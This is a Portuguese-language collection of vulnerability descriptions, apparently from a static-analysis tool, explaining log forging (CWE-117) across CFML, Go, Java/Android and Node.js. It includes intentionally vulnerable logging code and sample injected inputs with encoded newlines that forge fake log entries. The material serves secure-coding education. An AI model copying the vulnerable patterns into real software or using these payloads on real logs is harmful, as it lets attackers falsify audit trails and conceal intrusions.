A interpretação dos arquivos de log pode ser impedida ou equivocada se um invasor puder fornecer dados ao aplicativo que mais tarde são registrados textualmente. No caso mais benigno, um invasor pode ser capaz de inserir entradas falsas no arquivo de log, fornecendo ao aplicativo uma entrada que inclui caracteres apropriados. Se o arquivo de log for processado automaticamente, o invasor poderá tornar o arquivo inutilizável, corrompendo seu formato ou injetando caracteres inesperados. Um ataque mais sutil pode envolver a distorção das estatísticas do arquivo de log. Falsificados ou não, os arquivos de log corrompidos podem ser usados para apagar o rastro do invasor ou até mesmo para implicar terceiros na prática de um ato mal-intencionado [1]. Na pior das hipóteses, um invasor pode injetar código ou outros comandos no arquivo de log e tirar proveito de uma vulnerabilidade no utilitário de processamento de log [2].

Exemplo: O seguinte código de aplicativo Web tenta ler um valor de número inteiro de um formulário da Web. Se não for possível analisar o valor como um número inteiro, a entrada será registrada em log com uma mensagem de erro indicando o que aconteceu.


<cflog file="app_log" application="No" Thread="No"
text="Failed to parse val="#Form.val#">


Se um usuário enviar a string "twenty-one" para val, a seguinte entrada será registrada:


"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"


No entanto, se um invasor enviar a string "twenty-one%0a%0a%22Information%22%2C%2C%2202/28/01%22%2C%2214:53:40%22%2C%2C%22User%20logged%20out:%20badguy%22", a seguinte entrada será registrada:


"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"

"Information",,"02/28/01","14:53:40",,"User logged out: badguy"


Claramente, os invasores podem usar esse mesmo mecanismo para inserir entradas de log arbitrárias.
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.cfml.log_forging
Abstract
A gravação da entrada do usuário em arquivos de log pode permitir que um invasor falsifique entradas de log ou injete conteúdo mal-intencionado nos logs.
Explanation
Vulnerabilidades de falsificação de log ocorrem quando:

1. Os dados entram no aplicativo por uma fonte não confiável.

2. Os dados são gravados em um arquivo de log de aplicativo ou sistema.

Em geral, aplicativos usam arquivos de log para armazenar um histórico de eventos ou transações para visualização posterior, coleta de estatísticas ou depuração. Dependendo da natureza do aplicativo, a tarefa de analisar arquivos de log pode ser realizada manualmente conforme necessário ou automatizada com uma ferramenta que examina os logs automaticamente em busca de eventos importantes ou informações que possam definir tendências.

A interpretação dos arquivos de log pode ser impedida ou equivocada se um invasor puder fornecer dados ao aplicativo que mais tarde são registrados textualmente. No caso mais benigno, um invasor pode ser capaz de inserir entradas falsas no arquivo de log, fornecendo ao aplicativo uma entrada que inclui caracteres apropriados. Se o arquivo de log for processado automaticamente, o invasor poderá tornar o arquivo inutilizável, corrompendo seu formato ou injetando caracteres inesperados. Um ataque mais sutil pode envolver a distorção das estatísticas do arquivo de log. Falsificados ou não, os arquivos de log corrompidos podem ser usados para apagar o rastro do invasor ou até mesmo para implicar terceiros na prática de um ato mal-intencionado [1]. Na pior das hipóteses, um invasor pode injetar código ou outros comandos no arquivo de log e tirar proveito de uma vulnerabilidade no utilitário de processamento de log [2].

Exemplo: O seguinte código de aplicativo Web tenta ler um valor de número inteiro de um objeto de solicitação. Se não for possível analisar o valor como um número inteiro, a entrada será registrada em log com uma mensagem de erro indicando o que aconteceu.


func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
name := r.FormValue("name")
logout := r.FormValue("logout")
...
if (logout){
...
} else {
log.Printf("Attempt to log out: name: %s logout: %s", name, logout)
}
}


Se um usuário enviar a cadeia de caracteres "twenty-one" para logout e ele puder criar um usuário com o nome "admin", a seguinte entrada será armazenada em log:


Attempt to log out: name: admin logout: twenty-one


No entanto, se um invasor puder criar um nome de usuário "admin+logout:+1+++++++++++++++++++++++", a seguinte entrada será armazenada em log:


Attempt to log out: name: admin logout: 1 logout: twenty-one
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.golang.log_forging
Abstract
A gravação da entrada do usuário em arquivos de log pode permitir que um invasor falsifique entradas de log ou injete conteúdo mal-intencionado nos logs.
Explanation
Vulnerabilidades de falsificação de log ocorrem quando:

1. Os dados entram no aplicativo por uma fonte não confiável.

2. Os dados são gravados em um arquivo de log de aplicativo ou sistema.

Em geral, aplicativos usam arquivos de log para armazenar um histórico de eventos ou transações para análise posterior, coleta de estatísticas ou depuração. Dependendo da natureza do aplicativo, a tarefa de analisar arquivos de log pode ser realizada manualmente conforme necessário ou automatizada com uma ferramenta que examina os logs automaticamente em busca de eventos importantes ou informações que possam definir tendências.

A interpretação dos arquivos de log pode ser impedida ou equivocada se um invasor puder fornecer dados ao aplicativo que mais tarde são registrados textualmente. No caso mais benigno, um invasor pode ser capaz de inserir entradas falsas no arquivo de log, fornecendo ao aplicativo uma entrada que inclui caracteres apropriados. Se o arquivo de log for processado automaticamente, o invasor poderá tornar o arquivo inutilizável, corrompendo seu formato ou injetando caracteres inesperados. Um ataque mais sutil pode envolver a distorção das estatísticas do arquivo de log. Falsificados ou não, os arquivos de log corrompidos podem ser usados para apagar o rastro do invasor ou até mesmo para implicar terceiros na prática de um ato mal-intencionado [1]. Na pior das hipóteses, um invasor pode injetar código ou outros comandos no arquivo de log e tirar proveito de uma vulnerabilidade no utilitário de processamento de log [2].

Exemplo 1: O seguinte código de aplicativo Web tenta ler um valor de número inteiro de um objeto de solicitação. Se não for possível analisar o valor como um número inteiro, a entrada será registrada em log com uma mensagem de erro indicando o que aconteceu.


...
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException nfe) {
log.info("Failed to parse val = " + val);
}
...


Se um usuário enviar a string "twenty-one" para val, a seguinte entrada será registrada:


INFO: Failed to parse val=twenty-one


No entanto, se um invasor enviar a string "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", a seguinte entrada será registrada:


INFO: Failed to parse val=twenty-one

INFO: User logged out=badguy


Claramente, os invasores podem usar esse mesmo mecanismo para inserir entradas de log arbitrárias.

Algumas pessoas acham que, no mundo móvel, vulnerabilidades clássicas de aplicativos Web, como a falsificação de logs, não fazem sentido -- por que um usuário atacaria ele próprio? No entanto, lembre-se de que a essência das plataformas móveis são aplicativos que são baixados de várias fontes e executados lado a lado no mesmo dispositivo. A probabilidade de execução de um malware junto com um aplicativo de banco é alta, o que exige a expansão da superfície de ataque de aplicativos móveis de forma a incluir comunicações entre processos.

Exemplo 2: O código a seguir adapta o Example 1 à plataforma Android.


...
String val = this.getIntent().getExtras().getString("val");
try {
int value = Integer.parseInt();
}
catch (NumberFormatException nfe) {
Log.e(TAG, "Failed to parse val = " + val);
}
...
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] IDS03-J. Do not log unsanitized user input CERT
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[6] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[7] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - Common Weakness Enumeration CWE ID 117
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 AU, SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[14] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[17] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[18] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[19] Standards Mapping - OWASP Top 10 2010 A1 Injection
[20] Standards Mapping - OWASP Top 10 2013 A1 Injection
[21] Standards Mapping - OWASP Top 10 2017 A1 Injection
[22] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[23] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[24] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[25] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[26] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.log_forging
Abstract
A gravação da entrada do usuário em arquivos de log pode permitir que um invasor falsifique entradas de log ou injete conteúdo mal-intencionado nos logs.
Explanation
Vulnerabilidades de falsificação de log ocorrem quando:

1. Os dados entram no aplicativo por uma fonte não confiável.

2. Os dados são gravados em um arquivo de log de aplicativo ou sistema.

Em geral, aplicativos usam arquivos de log para armazenar um histórico de eventos ou transações para análise posterior, coleta de estatísticas ou depuração. Dependendo da natureza do aplicativo, a tarefa de analisar arquivos de log pode ser realizada manualmente conforme necessário ou automatizada com uma ferramenta que examina os logs automaticamente em busca de eventos importantes ou informações que possam definir tendências.

A interpretação dos arquivos de log pode ser impedida ou equivocada se um invasor puder fornecer dados ao aplicativo que mais tarde são registrados textualmente. No caso mais benigno, um invasor pode ser capaz de inserir entradas falsas no arquivo de log, fornecendo ao aplicativo uma entrada que inclui caracteres apropriados. Se o arquivo de log for processado automaticamente, o invasor poderá tornar o arquivo inutilizável, corrompendo seu formato ou injetando caracteres inesperados. Um ataque mais sutil pode envolver a distorção das estatísticas do arquivo de log. Falsificados ou não, os arquivos de log corrompidos podem ser usados para apagar o rastro do invasor ou até mesmo para implicar terceiros na prática de um ato mal-intencionado [1]. Na pior das hipóteses, um invasor pode injetar código ou outros comandos no arquivo de log e tirar proveito de uma vulnerabilidade no utilitário de processamento de log [2].

Exemplo 1: O seguinte código de aplicativo Web tenta ler um valor de número inteiro de um objeto de solicitação. Se não for possível analisar o valor como um número inteiro, a entrada será registrada em log com uma mensagem de erro indicando o que aconteceu.


var cp = require('child_process');
var http = require('http');
var url = require('url');

function listener(request, response){
var val = url.parse(request.url, true)['query']['val'];
if (isNaN(val)){
console.log("INFO: Failed to parse val = " + val);
}
...
}
...
http.createServer(listener).listen(8080);
...


Se um usuário enviar a string "twenty-one" para val, a seguinte entrada será registrada:


INFO: Failed to parse val = twenty-one


No entanto, se um invasor enviar a string "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", a seguinte entrada será registrada:


INFO: Failed to parse val=twenty-one

INFO: User logged out=badguy


Claramente, os invasores podem usar esse mesmo mecanismo para inserir entradas de log arbitrárias.
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
